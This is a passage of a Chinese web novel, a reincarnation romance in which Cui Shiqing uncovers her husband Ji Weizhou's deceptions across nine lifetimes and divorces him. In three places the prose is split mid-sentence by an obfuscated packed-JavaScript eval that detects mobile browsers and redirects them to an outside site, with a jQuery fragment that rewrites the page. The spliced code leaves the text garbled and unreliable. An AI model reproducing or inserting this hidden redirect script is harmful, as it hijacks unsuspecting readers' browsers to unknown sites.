“……”崔时清看着依然纹丝不动,不知道在想什么的人,眼睛酸涩地垂下脑袋。 “这人是石头吗?” 崔时清冷嗤着,瞥见大帝手中的书信,好奇地伏下身子,歪头看着。 “苏家郎君病逝,临终前、什么?和?” “哎呀,真碍事!”崔时清干瞪眼,却也没有办法移开碍事的手指,只好眼不见为净地转过身,背对着大帝托腮打哈欠。 内侍躬身走了进来。 看到新鲜人的崔时清,眼睛亮了亮,兴致冲冲地跟着内侍身边。 【圣上。】 【把她带来。】 【这、掘人坟墓——】内侍一脸为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14624442|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难。 “掘谁的坟?”崔时清双手抱臂,也瞅着龙椅上的大帝。 大帝沉眉瞥了一眼内侍,崔时清和内侍不约而同瑟缩了一下身体。 帝王威压之下,内侍垂下脑袋,喏声领命。 “……到底是要掘谁的坟呀?话说一半,真烦!”崔时清眼巴巴看着鲜活的内侍告退,依依不舍地飘回大帝身边。 又干瞪着眼,发怔了许久。 大帝可算有了动作。 他捧起那个吓鬼的红玛瑙宝盒,手掌轻轻抚摸着。 【配婚?】 “哦!配婚!”崔时清一脸兴味地竖起耳朵听着。 【哪怕成了孤魂野鬼,她也只会来见我。】 “孤魂野鬼?”崔时清忽略那一丝被冒犯的不悦,盯着宝盒皱眉思忖着,“给苏家郎君配冥婚?难不成还有人不长眼,要把亡故的皇后改嫁与这位苏家郎君了?” “嘿嘿!有点意思!” 崔时清阴笑了几声,摇了摇腰肢,屈膝飘在大帝身边,朝着翻面的书信吹了口气。 信纸纹丝不动。 “……”崔时清鼓了鼓面颊,瞪着大掌上的浅色青筋,很生气地伸手摸了一把。 玉扣松开,大帝莫名其妙打开了红玛瑙宝盒。 “!”猝不及防下,崔时清惊诧地捂着眼睛,深吸了一口气,战战兢兢地透过没什么实际作用的双手,快速瞄了一眼。 赤金掐丝嵌红宝石梅花镯?她的镯子?! 崔时清匪夷所思地盯着静静躺在盒底的镯子,久久回不过神来。 直到大帝再次阖上宝盒,玉扣落下之际,崔时清才心有余悸地默默飘远了些。 “不对!” 崔时清猛地回身,龇牙咧嘴地冲回大帝面前,怒吼道:“这狗东西要掘的是我的坟啊!” 一阵胡乱冲撞飘荡下,崔时清气得魂体漏气,没有伤及大帝半分,反而把她自己抛到了高空,又遽然落下。 “啊!” 崔时清吓得不行,直到下降的速度减缓,耳边传来阵阵泣声,她才忐忑地睁开了眼睛。 油尽灯枯的大帝无声躺在榻上,跪在最前面的是一位清秀的少年郎,他正低声哭着。 【叔父。】 “这是谁家的儿郎,看着挺眼熟的。”崔时清眨着眼,小声嘀咕。 少年身边的朝臣立刻拉住了他的衣袂。 【殿下已过继至圣上膝下,须得唤父皇。】 【父、父皇。】 崔时清扫了一眼苍老的大帝,抿了抿唇。 此人,一生无妻无妾,无儿无女,真是应了孤寡无亲的谶言。 大帝睁开那双没有悲喜的眼睛,不知在想什么,沉默了须臾,指尖动了动,同样年老的内侍佝偻着身体走上前。 崔时清认出来,这是没有坚持底线,掘她坟墓的那小子! 正气愤地瞪着他,耳边传来他叽里咕噜的声音,听着难受,刚要揉一揉耳朵,崔时清顿然浑身一颤。 【立崔氏十六娘为后,与我长伴不离。】 她、她是…… 崔时清眼神复杂地盯着留下遗诏,便阖上眼睛、没了呼吸的大帝,心中的滋味说不清又道不明。 再看向他指下的红玛瑙宝盒,浑身一阵恶寒。 “不是!为何?她、他!这是连死都不放过她了?!” 崔时清咆哮狂怒。 之后,作为孤魂野鬼的崔氏十六娘,看着大帝越来越熟练地收集着她的骨灰。 “……” 很快,崔时清感到其中的异样。 梦中大帝,似乎也拥有着轮回的记忆。 他一世比一世更颓丧,一世比一世煎熬。 痛苦着、渴望赴死。 孤山悬崖上,崔时清不敢直视自己的死状。 纪危舟却抱着她,一遍遍地低语着。 【他们都没有错,错的是天道。】 98. 戏弄 “怎么会做这个梦?” 崔时清平躺在床上,眸光闪动着,还是无法从梦境中抽身。 孤山悬崖,他是想要赴死的。 他、他们不是死敌吗? 为什么,会为了她而哭?为什么,会立她为后? “不对!不对!这些都不是重点!” 崔时清猛地坐起身来,瞪着不远处的那副藤蔓缠枝红梅图,气得发抖。 “他、骗了我!他也记得所有的事情!他一直在骗我!看我一直在挣扎、一直像个真正的傻子一样挣扎!” 胸口起伏着,崔时清瞥见手中攥的镯子,慌乱地丢了出去,恨声道:“他!他还掘了我的坟!” …… 珠帘晃动,婢子们端着巾帕面汤,轻手轻脚走了进来。 “他呢?”崔时清粗声粗气。 若兮感受到主子的坏心情,连忙收起讨喜的笑容,偷偷看着不争不抢的云霞,心里有些打鼓,不想在崔时清烦闷的时候出头争宠。 云霞也瞥了一眼有些异样好同僚,只好屈膝垂首答道:“回主子,郎君正在书房。” “呵!书房!”崔时清气鼓鼓地嗤笑着。 书房怎么了? 云霞纳闷地冥思苦想了几息,不明白主子的意思,只好再看向拥有多年侍奉经历的好同僚。 “……”若兮无法忽略这道目光。 “你们挤眉弄眼作什么!”崔时清迁怒道。 若兮心里发苦,尝试建言,“婢子请郎君过来?” “哈!请来过!”崔时清连连冷笑。 原来如此!云霞暗暗佩服。她不喜答话,但喜欢跑腿,便立刻揽下了这份差事。 “主子,婢子去。” “……”崔时清和若兮看着跑没影的人,一时无言。 “可、可要把云霞追回来?”若兮瞅着面色阴晴不定的主子,心中忐忑。 崔时清气得过头,脑仁便有些发胀,倚在床头,气若游丝道:“你、先把豆盒拿来。” 一切且等她捡上几粒赤豆,缓缓神再议。 纪危舟进来时,看到的是温婉素淡、心平气和的崔时清。 如墨的青丝不着一丝点缀,披散在圆润的肩头,拨动着漆盒内的豆子,赤红的豆粒衬着莹润玉白肌肤娇艳可人,引人垂涎。 走动的声音引起了崔时清的注意。 她掀起眼睑,微扬的眸子漫不经心地看向来人,略微一怔,捏紧了指间的赤豆,唇边牵起一道浅笑的梨涡,意味不明地含笑着。 “来了?” 纪危舟直愣愣地望着她,心狠狠跳动了一下。 “在琢磨什么坏心思?”崔时清弯唇挥了挥手,示意他走近。 “我——” 纪危舟也知道自己有些失态。面对娇柔秾丽的容颜,身体抑制不住地颤动,一种难以辨别的情绪在心底翻涌着,既想要靠近,又唯恐惊扰了眼前这个美好的瞬间。 他舒了一口气,放下这些芜杂的思绪,走入其中。 “软软想吃糖豆粥了?” “不想。”崔时清若无其事地把玩着赤豆。 纪危舟下颚微紧,小心地端详着女娘的面色。 也不等纪危舟发问,崔时清扔下赤豆,烦闷地推开了漆盒。 “我捡豆子,是因为生气。” 纪危舟坐在床边脚踏上,握住崔时清的双手,仰头望着她,“软软受委屈了。” “不止委屈,还受足窝囊气了。”崔时清神色幽幽地乜着他,哂笑道。 纪危舟惭愧地低下头,把面颊贴在崔时清的掌心,感受着女娘柔软又纤小的双手,“只要软软可以消气,我什么都愿意做。” “真的?”崔时清的拇指轻轻划过深邃的眉眼。 “真的。软软要我做什么?”纪危舟虔诚地问道。 长睫轻微颤动,惹得指腹掌心发痒,却仅止于此,崔时清的心没有往日的动容。 她眸光冷寒地觑着膝上的郎君,目光阴鸷地说道:“我要你亲手杀了孟云希母子。” 纪危舟浑身僵硬,坐直身体,神色复杂地仰视着这双疏离冷淡的眸子。 “做不到吗?”崔时清没有闪躲他惊诧的眼睛,恶劣地淡笑着,让他看清自己的残忍。 不说纪危舟在佛陀面前许下的誓言。 只论弑杀生母,便是古往今来十恶不赦的罪行。 哪怕在梦中,那个死气沉沉的大帝,也仅仅幽禁了野心勃勃的生母,吃喝不断地供养着。 她的这席话,堪称人世间最恶毒可怖的教唆。 崔时清知道,但她不想让一再暗害自己的孟云希母子善终,更不想让眼前的九世死敌好受! “看来,是我痴心妄想了。”崔时清轻轻拂去了膝上的双手,就如同拂去沾染了衣袂的尘埃,满眼皆是冷漠。 纪危舟慌了心神。 他六神无主地探摸到崔时清的指尖,眼神在她面上顿了一下,见她没有厌恶与抵触的情绪,便屈指虚拢着,攥在了掌心。 “我会杀了他们。”纪危舟说道。 崔时清微讶了一瞬,但很快冷静下来,心不在焉地看着他。 所谓风清气正、出淤泥而不染的天道之子,似乎都成了笑话。 历经九世的众叛亲离,他早已不再是那个为了家中小女娘偷看话本、欺压婢子而唠叨,为了天下苍生、饥民饿殍而食不下咽的赤子了。 崔时清乐见于天道之子变得面目全非,不再自以为是地摆出使她发笑的理想、信念,以刚正不阿、大义凛然的姿态来说道,来训言,告诉她什么是对、什么是错。 告诉她,她是错。 但是,这一世。 自从她动了心以后,便割裂了纪危舟和天道之子。 她舍不得把面前的这个人,她的夫君碾入尘泥,她做不到。 崔时清的目光游移于纪危舟的面上,一点点扫过他的眉眼、鼻梁,紧张微抿的唇瓣。青色的胡茬刮过了,棱角分明而刚毅,崔时清知道,此时他的下颌顺滑好摸,也很好亲。 她很想忘记梦境,和她的夫君计划好远游的路线,再做几身御寒的冬衣,一同出门、看遍天下山水。 可是,她还是做不到。 她接受自己心仪于宿敌,但接受不了九世的戏弄、九世的挫败,九世间流过的所有人的血。 她无法不存怨恨。 崔时清心痛如绞,唇边却扬起了淡笑。 看着紧紧牵着她的手,拉着纪危舟坐到了身边,懒声道:“我都忘了,你不能为私欲而夺人性命。” 纪危舟目光坚定,“不、我可以,我不会再让他们苟活于世的机会。”也不能再让你失望了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14642904|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “弑母之罪,会让你被天下人所唾弃的。”崔时清垂眸低语道。 “你会厌弃我吗?”纪危舟躬身靠在崔时清的肩头,闷声道。 崔时清漫不经心地搂抱着劲瘦的腰背,“我不会讨厌你,我也舍不得你背负骂名。刚才说的不要当真,把孟云希永远关在佛堂里,才是最大的惩罚。” 纪危舟仓皇无措地看着崔时清,张口、声音暗哑道:“可我让你失望了。” “这算什么?这些事情你做不了,但我可以。就像王重罗,只要我想,便可以手刃所有的仇人。” 崔时清勾唇笑了笑,指尖抵在他的面颊上,粗鲁地扯了一下,“至于你,我希望你做的,从来不是这些。” 纪危舟觉得哪里有些不对,但又无法捉摸。 他心生恐惧,含住崔时清的唇瓣,急切地抵开唇齿,勾缠啃吮着她的舌尖,感受温香的气息与自己交融不离。 及至崔时清感到快要被吸干胸腔内的空气、和最后一丝津涎,才被放过。 她里衣松散地躺在榻上,望着湿红的黑眸,低沉喘息着、仅存最后一丝理智的郎君,“我说的可不是这个。” “……”纪危舟耳根发烫,俯身蹭了下崔时清的鼻尖,眼巴巴地瞅着她。 崔时清轻笑道:“装什么委屈了?我还没抱怨呢。” “软软可以抱怨,我都听着。”纪危舟一下又一下,抚摸着女娘的面颊,是怜惜、也是自责,更是长长久久下来,砌上的一层又一层的假面,虚伪又可怕的假面。 纪危舟知道。 只要崔时清和他在一起,注定会被他的天命所累。 眼前之人每一次陷入危险的境地,他都痛得不可自抑,哪怕如此他也依旧无法放手。 只能卑劣地,把她圈在自己的牢地之中,困着自己、也困着她。 时间越久,他的谎言越多。 纪危舟无法想象,有朝一日崔时清识破他的真面目,会如何憎恶他的无耻和丑恶,会如何害怕他、逃离他。 他无法想象。 所以,如果真有那一日,便死于她的手中吧。 这是他最后、最恶劣的私心,他不能、绝对不能失去她!若是生不能相伴,便死后并骨相依,如此纠缠生生世世。 他只想要崔氏十六娘一人,只要她一人。 即便得不到原谅、即便是恨。 “说谎。”崔时清皮笑肉不笑地注视着近在眼前的、绝好的皮囊,心控制不住地被牵引着,情绪却如坠深潭般,冷得几乎要冻伤她。 喉结上下滑动着,纪危舟微抿唇瓣,强装着镇定。 崔时清扬起下巴,在纪危舟的眼睛上轻啄了一口,闷笑道:“你知道吗?你这副样子有多像讨不着糖的小儿郎,欲哭想闹,偏偏还在耍小聪明。” “软软就是我想要的糖,你不能不给。”纪危舟把面颊埋入女娘的颈窝间,抱紧了她的腰肢,瓮声瓮气道。 “不要颜面了?”崔时清被沉沉压着,有些喘不过气,便肃声问。 “不要,颜面算得了什么?只要软软肯怜惜我,我什么都不要了。”纪危舟颤声着,直到洇湿了她肩颈上的衣料。 崔时清无法克制心口的闷滞,指尖蜷缩着,缓缓搭在纪危舟的腰上,声音极轻、极慢地开口。 “嗯,我想要你了。” 99. 认命 这是一个阳光明媚的好天气。 崔时清在衣橱中挑了许久,选择了梅染色的杭绸小袄长裙,搭着松霜绿缠枝纹披麾。 “是要赴何人的邀约?” 纪危舟从身后环抱着崔时清,下颌支在她的肩窝上,看着螺钿铜镜中的女子。 单螺髻上,仅以珍珠绦子装饰,素淡的头饰反倒凸显出女娘眼若桃花、朱唇浅笑的秾丽与娇俏。 “春知乡来了好些新冠子,我与梦娘同去瞧瞧。”崔时清的指尖漫不经心地划过郎君的臂腕。 “怎么又是她……”纪危舟嘟哝着。 “梦娘怎么啦?”崔时清扬眉。 纪危舟闷声道:“她太缠人了。” “你说这话,也不嫌害臊?”崔时清揶揄道。 “我不一样!我缠着软软,理所应当!”纪危舟箍紧了女娘的纤腰,蛮横地说。 “你不会也想去吧?”崔时清轻笑了几声,捏着纪危舟的指尖问。 “我正在画春衣的图样,正好可到春知乡参考参考时下的冠子。”纪危舟煞有其事地提出了正当理由。 崔时清笑而不语,没有接他的话。 “把我带上吧。”纪危舟在她肩头蹭了几下。 郎君的脑袋又沉又不安分,颈项被蹭得发痒,崔时清忍笑嗔怪道:“衣裳都乱了。” “我帮软软整理。”纪危舟自告奋勇。 崔时清不敢让他上手,灵巧地从他的臂下钻了出来,“女娘聚在一起挑冠子,你去不方便。” 纪危舟忙说:“把李昶也请来?” 崔时清摇了摇头,“他伤得厉害,还下不了榻的。” 纪危舟想也不想便道:“无妨,我命人把他抬来便是。” “……你多少也顾忌点他的死活吧。”崔时清有些无奈。 “顾不了!若非他不争气,怎会让蔡家娘子成天闲得无事,尽来缠着你了?”纪危舟怏怏不快地叹了口气。 望着难缠的郎君,崔时清眼波微转,意味深长地笑道:“过几日是个好日子,我得与你准备一个最特别的惊喜。” 过几日? 纪危舟想起了初九,他的生辰。 “软软……”他的眼睛微亮,声音透着满满的期待。 “嘘!午食之后回来!”食指放在唇上,成功阻止了纪危舟的缠功。 崔时清眉眼微弯,披上麾子,招手带着若兮便出了门。 松霜绿麾子消失在帘后,纪危舟眼底的笑容也随之隐去。他失神地扫了一眼空荡荡的屋子,弯腰拾起半垂在地上的红绸绦子,缠绕在自己的腕间。 把裹缠着红色丝绦的手举到了耳边,轻轻摇了摇,金铃铛清脆的声音敲击着他的心。 他漫无目的地闲逛走,来在书案前。轻抚着崔时清写了一半的书信,看着上面简短的几句问候,笔落在离京归乡,便戛然而止。 纪危舟不知道自己在不安什么。 分明,她已经应了。 分明,她已经在收拾行囊了。 分明…… 为何不把书信写完? 拿起女娘的春衣图册,盖在这封信上。纪危舟强行令自己冷静下来,垂眸翻动着册子,很快便心无旁骛,一笔一划地描绘着崔时清的小像。 * 晌午过后,崔时清没有回来。 纪危舟数次起身,想要到春知乡接人,又数次放弃。 他知道这些时日,自己太过黏人了,他也在克制,也不想让崔时清厌烦。 于是纪危舟压下心中的焦虑,耐心地等着,直至日光斜移。 他想,已经一日了。 或许女娘又饮了果酒,酒酣忘时,不记得归家的路。 纪危舟来到春知乡,却只看到同样焦急的婢子。 “她呢?”纪危舟嗓子发紧。 “晌午之时,主子让婢子在此候着,便独自出了门。婢子、婢子也不知主子去了何处……”若兮没见过三公子冷面的模样,伏跪在地,不敢抬头。 “不知道她去了哪里?”纪危舟目光空洞,喃喃自语了一遍,瞥向身边的随从,肃声道,“去查。” 江南:“是。” 纪危舟蜷起指尖,抚动着垂落在掌上的金铃铛,目露猜疑地看向了脚边的婢女。 “还有她,带下去拷问,不论生死,撬开她的嘴。” 若兮不曾想到菩萨般宽厚心善的三公子,会下这样的命令,数九寒天下,她的脊背上瞬间冒出的汗把贴身的里衣都浸湿了。 “郎君、婢子真的什么都不知道!真的什么都不知道!掌柜女使皆可作证啊!”若兮明白,只要被带离此地,便绝无生还的可能。她扑伏在地,磕头求饶。 纪危舟背对着她,没有半分动摇。 江南虽有些不忍,但还是招手唤来了护卫。正在若兮无力对抗护卫的掣肘,被捂着嘴拖出数步之时,云霞突然出现,拦住了去路。 若兮望着她,失声痛哭。 云霞与她一个安抚的眼神,疾步走到纪危舟面前,“郎君。” “她在何处?”纪危舟猛然转身,神色阴郁地盯着她。 江南暗暗叹了一口气,挥手令护卫松手,又差使店中掌柜扶着痛哭流涕的若兮,一同退下。 直到阁子里,只剩主仆三人。 云霞单膝跪下,开口道:“主子在珍宝阁,以重金买六皇子的命,今日便是交货之期。” 纪危舟的眼皮抽搐了一下,惊慌地看向随从。 江南回忆了片刻,回话道:“城北北苑,他近几日都在城北别苑中。” 城北?山道! 纪危舟感到一股寒意从脚底而生,直冲他的背脊,让他无法深思其他。他惊慌失措地攥紧了掌心的铃铛,徒然间便把之前还小心爱惜的坠子捏得变形,深深嵌入了掌肉中。 朝前迈了一步,眼前发黑了一瞬。纪危舟咬紧了牙关,稳住了身体,推开江南的手,大步走了出去,驾着马匹,急奔城北。 第六世,她买了珍宝阁的杀手,在城北别苑的山道边设伏。 但她却不知,珍宝阁是孟家经营的产业,自从她走入珍宝阁的那一刻起,她便成了待宰的羔羊,在距离别苑几里的山道边被活埋。 那时他得到消息,赶到了北郊,看着随从挖出了崔时清的尸首,心底是遗憾、也是惋惜,还有面对漫长又枯燥人生的怅然。 而现在,此时此刻,纪危舟再无法维持当时的镇定。 看着那片刺目的新土,面色惨白地踉跄靠近。 “主子?!”江南匆匆赶来,看着了跪在地上,双手刨挖土坑的主人,难以置信地冲上前。 “滚。”纪危舟推开阻碍,急切地捧起湿软的泥土。 来得及,一定来得及! 双手被夹杂在泥土里的碎石划得血流不止,浸湿了这片泥土,他感受不到手指上的痛,对着愈发湿软的泥土疯狂挖掘着。 直到触碰到一角衣料,被湿土染污的松霜绿披麾出现在眼前,纪危舟目眦欲裂,呼吸急促地刨开最后这层腥臭湿黏的黄土。 很快,他挖出了这件应该披在崔时清身上的麾子。 纪危舟浑身发冷地捧起包裹成团的披麾,颤抖着打开它。 麾子里,没有尸首。 只有他的红玛瑙宝盒。 江南长舒了一口气,劝慰道:“娘子不在这里,定然还是平安的!” “是啊,她、是平安的。”这就够了。 纪危舟紧紧抱着没了女娘气息的披麾,轻声笑着。 柏树之后,崔时清脚步微顿,生出了一丝退意。 仰望着黑沉的天空,雪花从枝条间零零落落,砸在面上,她呢喃道。 “如果、我非要与他在一起呢?” 一片霜花掉在眼睛里,九世间离别的背影,一一浮现在她的眼前。激得崔时清眼眶泛红,却也冷得她,一滴泪也掉不下来。 “挖出来了?”她从大树后走了出来。 江南目瞪口呆地盯着面色红润的主母,又小心翼翼地看向狼狈至极的主人。不止身体,连心也拔凉拔凉的。思忖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672766|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再三,领着一众护卫退避三丈之外。 纪危舟方才从梦中醒来,单手撑在地上,直起了僵硬的身体,缓缓回头。 “软软。”他轻声唤道。 崔时清微蹙眉心,斜乜着跪坐在地,与尘泥为伴的郎君。月光洒下,苍白的面色一览无余,还有黑眸里浓沉的迷惘,与尚未散去的悲恸。 红润的唇瓣微微翕动了一下,崔时清面无表情地问道:“你不看一看宝盒里的东西吗?” “好、我看。” 纪危舟顺从地低下头,把宝盒放在膝上,当着女娘的面,打开了玉扣。 这一世本该空置的盒子,装了一封信。 纪危舟垂眸看着手指上的泥污和血水,用力往身上蹭了蹭,但不论他如何努力,怎么也无法把带着铁腥味的湿土擦拭干净。 “够了。”崔时清低声呵斥。 纪危舟像是做错事情的稚童,茫然无措地绷紧了身体,一瞬不瞬地注视着她。 崔时清无法继续容忍,眼前之人自轻自贱的举动。 深吸了一口气,语气平平地开口道:“这是你亲笔所写的合离书,我已签了字、盖好了印章。从今以后,你我爱恨两清、再无瓜葛。” 纪危舟怔怔然地看着她,轻声道:“你不要我了?” 崔时清眸光闪动,没有说话。 “不!”纪危舟趔趄地站起身来,朝前走了一步,直勾勾盯着同时后退一步的女娘,“你说过,不会离开我的。” “是,我说过。”崔时清扯了扯唇角,讥笑道,“但是,你我都披着假面,又怎么能作数呢?说到底,从头到尾都是假的,假的你我、假的海誓山盟、假的情情爱爱!就像你骗了我九世一样,我说的也全是假的、骗你的。” “那就继续骗下去!我们互相欺骗,就这样过下去,不行吗?”纪危舟的声音也如同被粗粝的碎石划伤了,嘶哑涩然、带着血腥气。 “不行,我做不到。”崔时清垂下眼眸,语气沉静得极为残忍。 纪危舟呼吸急促地走上前,走到了崔时清的面前,看着她眉眼间的戒备,颓然地放下高举于半空的手。 “不要抛下我!”他乞求道。 崔时清摇了摇头。 “那你杀了我!这一次不会有任何人来阻止你!”纪危舟用沾着泥土和污血的手,轻轻牵住崔时清的衣袂。 崔时清还是摇了摇头,抽离他手中的那片衣角,凝视着纪危舟的眼睛,说道:“我杀不了你,也不想再见到你了。” “不行、不可以!我不能没有你啊!”纪危舟双眼通红,紧紧握着崔时清的肩头,不容拒绝地禁锢着她。 “那你是想把我关在暗室,还是继续一遍又一遍、偷盗我的骸骨?” 崔时清的眼睛里是浓得化不去的厌倦和疲惫,声音很轻,却字字扎在了纪危舟的心上。 “不是——” 纪危舟仿佛被抽干了最后一丝气力,双手垂落身侧,脊背佝偻着,身体支撑不住同样历经九世的沉重。 “你应了我,再不会离开我的。”他低声轻语着,告诉她、也告诉自己。 这就是天命。 崔时清强忍眼中的泪。 她记得,她有多爱眼前这个人。 又有多么希望他可以长命无忧,过着与梦中大帝全然不同的人生。 但是,这都是天命。 是他、也是她的天命! 她什么也做不了,什么也改变不了。 他们违逆天命在一起,是不会有好结局的!所有人、都不会好过! 她、认命…… 至于他,既是姣姣明月,便高挂于天上吧! 让所有人仰望、钦慕,而不是与尘泥为伴,弄得这样狼狈又凄惨。 崔时清握着胸前的小竹笛,‘清舟’二字并不像之前那样明显,但她还是一下便找到了刻字,指腹摩挲了一下,她解开了颈上的红绳,指尖微顿,缓缓松开了手掌。 被她珍爱了许久的物件,便这样没入了松软的泥土间,无声无息。 100. 合离 赶在城门关闭之前,他们回到内城。 婢子正在路边候着,看到赶马入城的主子,立刻迎了上前。 崔时清瞥了一眼若兮面上未干的泪痕,在云霞的搀扶下,下了马,走到车边,吩咐了一声。 “回国公府。” 云霞没有什么表情,牵着马领命。 只若兮还有些后怕,怯生生地看着不远处的三公子,犹豫片刻,咬牙提起裙摆,与云霞并肩跟着马车离开。 车内点了炉子,冻僵的手脚渐渐回暖,耳边是马蹄清晰的踢踏声。 崔时清知道,他还在,不远不近地跟着。 不敢靠近,也不肯离去。 “不能心软。”崔时清闭上眼睛,低声呢喃。 崔时清回来得突然,惊动了吴氏和纪国公夫妇,连其他院子里的同辈都收到了消息,他们察觉出古怪,但即便再好奇也不敢来正院探听,唯恐惹来一身腥。 “我要合离。” 崔时清望着外祖母和舅父,开口道。 “为何?!”纪光看着外甥女,实在想不通。 先前那么危急的时候,也不见她签下合离书,到官府造册登记,与三郎断绝关系。如今危机已解,怎么反而要合离了? 吴氏第一反应便是外孙女受了委屈,目视纪危舟,呵斥道:“你欺负时娘了?!” 纪光闻言,也忍不住板起脸严肃地看着养子。 然而比之崔时清的淡然,纪危舟则显得狼狈不堪,失魂落魄地站在门口,说不出半句辩解之言。 崔时清来到国公府,除了不想再回城南宅子,还有要与纪家长辈们一个交代。 但他们之间,是分不出对错的。 她不想让纪危舟来背负合离的骂名。 崔时清垂下眸子,解释道:“我们二人脾性不合,勉强在一起也只是糟心。我已签了那封合离书,这桩婚事便就此作罢吧。” 纪危舟攥着从泥地里捡起的竹笛,双唇嗫嚅着,眼睛湿红地望着再不肯与他一个眼神的女娘。 “这是、这都是为了什么……”纪光看着外甥女与养子。 “我们年少不懂事,让阿舅、外祖母烦心了。”崔时清对着长辈们屈膝行礼。 吴氏叹了口气,拉起外孙女,紧紧抱在怀中,眼中含泪道:“都是外祖母不好,是纪家让软软受委屈了。” 崔时清哽咽着摇了摇头,“不是,与您无关的。” 陈芝岚看着老小二人泪眼婆娑,再对着闷不吭声、默默抹眼泪的纪光,一个头两个大地翻了个白眼,低声骂道:“你不劝着点,捣什么乱了?” 作为‘罪魁祸首’的纪光,他纵使有满腔劝和的话,在此时也吐不出半个字。 摆出任打任骂的模样,盼着陈芝岚再与他几下打骂,让他心里能好受些。 “……”陈芝岚无语了片刻,见谁也靠不上,只能自己立起来。 “母亲,今日太晚了,不便谈论要事,时娘衣裳也单薄,不如先回去休息?明日养足精神了,再论?” 吴氏搂抱着外孙女,“今夜宿在外祖母屋里?” 崔时清没有意见,轻轻点了点头。 “……”纪危舟抬步也想跟上,却得来了吴氏一个冷眼,生生止住了脚步。 陈芝岚在纪光的手臂上狠掐了一把,满足了夫君的期望,冷声指使道:“夫君带着三郎回院子吧,他手上的伤也要处理。” “唔、好。”纪光也不哭了,连忙让随从把府医找来。 “不必了,我没事。”纪危舟看着女娘离去的身影,嗓音沙哑地说道,“我、我想到常春院去。” 纪光为难道:“这会儿去了也无用,或许还会令祖母和时娘生气,还是算了吧?” 纪危舟低下头,他不想再惹他的女娘动怒了。 见状,纪光稍稍松了口气,带着他往外走,低声问:“这一遭都是为了什么?” “……”纪危舟不知要从何说起。 “你不说,阿爹要如何帮你们?”纪光急躁地挠了挠脑袋。 就着昏黄的灯笼,纪危舟凄然笑道:“是我对不住时娘,只要还能再看到她,我就心满意足了,我不会逼迫她原谅我。” “你、这,这……” 这俩小儿分明是把彼此都装在心窝窝上了,怎闹到了合离的地步?! 纪光心里堵得慌,眼角又止不住地泪湿了。 “父亲,三郎告退。” 纪危舟顾不上安慰养父,躬身行礼,转身没入了夜色中。 * 水汽氤氲,热水漫过崔时清的四肢,她安静地蜷在浴桶中,看着长脚几上的几枝红梅,眼神发直。 云霞端着花瓣和香膏走了进来。 “出去。” 崔时清冷声呵斥,把浸泡过热水的巾帕搭在眼睛上,遮挡了此刻的狼狈。 “是。”云霞低声领命。 “等等。”崔时清的声音顿了一下,说道,“明早请阿姆和大掌柜过来。” 云霞又应了一声,轻手轻脚退出浴房。 直到水也变冷了,崔时清扯落巾帕,从浴桶中出了出来,洗去了一声的脆弱与迷茫。 披着厚袄子,崔时清刚走出来便看到了依靠在凭几上打盹儿的吴氏,她放轻脚步,小声唤道: “外祖母?” “嗯?软软。”吴氏勉强睁开困倦的眼睛,想与外孙女再说些私话。 崔时清搀起老人,温声劝道:“您该歇息了。” 吴氏确实也有些顶不住了,便握着崔时清的手,慢慢走到里屋。 自从崔时清十岁从常春院搬出去,再没有与吴氏同床睡过。此刻,哪怕吴氏困得不行,也不忘把外孙女搂入怀里,像她幼时一样轻轻抚拍着。 “我的乖软软只要想好了,外祖母不劝你。” 崔时清鼻尖发酸,在吴氏的怀里蹭了蹭,咬唇忍着泣声。 她不记得自己哭了多久,但翌日起来,祖孙二人的眼睛都是红肿的。 安慰好吴氏,又陪着用了朝食,崔时清这才离开常春院。 一路上,她并没有碰到纪危舟,但却可以感受到,落在自己身上的那道目光。 崔时清只当没有觉察,不疾不徐地回到未出阁前居住的院落。 柳氏和崔竹已在堂屋候了许久。 “时娘。”看着有些苍白的面色,柳氏的心像被针扎过一样刺痛。 崔时清对着他们二人,语气平淡道:“我要回清河郡,这几日便走。” 柳氏迟疑道:“可郎君他——” “我们合离了,以后不要再提起他。”崔时清打断了柳氏的声音。 柳氏只觉得荒唐。 这般相爱的夫妇,有什么过不去的,非要 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可她没想到,举目之间,会看到同样守在院外的人。 看着他形容憔悴,柳氏踌躇着,不知应不应该通报。最终还是狠下了心,招来婢子守着,眼不见为净地躲开了这桩云雾般让人不得捉摸的官司。 时娘累了,不能再让她烦忧。 柳氏如此想。 但是倚靠在圈椅间的崔时清却得不到半分安宁。 她独坐到了晌午,迈着僵硬的双腿,走出堂屋,遥望立在院外,依旧穿着昨日那身裹了泥土和点点血迹的袍子,目光散乱的郎君。 漫天飘雪,崔时清一步步走向他,看着纪危舟的眼睛从无措、到欣喜,如星光璀璨、使她心动。 “软软。” 